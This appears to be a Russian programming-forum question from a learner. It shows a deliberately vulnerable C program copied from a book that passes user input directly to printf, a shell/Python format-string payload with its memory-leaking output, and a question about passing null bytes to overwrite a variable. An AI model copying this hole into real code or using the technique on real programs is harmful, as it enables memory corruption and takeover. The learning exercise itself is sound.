bash: предупреждение: игнорируется нулевой байт на входе - PullRequest
0 голосов
/ 02 мая 2018

Я недавно запрограммировал небольшую программу на C, которая уязвима для эксплойта форматной строки. Вот исходный код (он скопирован из книги):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;
    strcpy(text, argv[1]);
    printf("The right way to print user-controlled input:\n");
    printf("%s", text);
    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);
    printf("\n");

    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
}

Я хочу изменить значение переменной test_val со следующим адресом: 0x0040202c. Поэтому, когда я передаю аргументы через терминал bash, вот так:

./vuln "`python -c "print 'AAAA' + '\x2c\x20\x40\x00' + '%x ' * 5"`"

Я получаю следующий вывод

bash: warning: command substitution: ignored null byte in input
The right way to print user-controlled input:
AAAA, @%x %x %x %x %x 
The wrong way to print user-controlled input:
AAAA, @bfffeed0 bfffef1c 4005f7 41414141 2540202c 
[*] test_val @ 0x0040202c = -72 0xffffffb8

В результате я получаю неправильный адрес в памяти (0x2540202c вместо 0x0040202c).

Теперь мой вопрос: как я могу получить начальные 0 и дать их в качестве аргумента моей программе?

...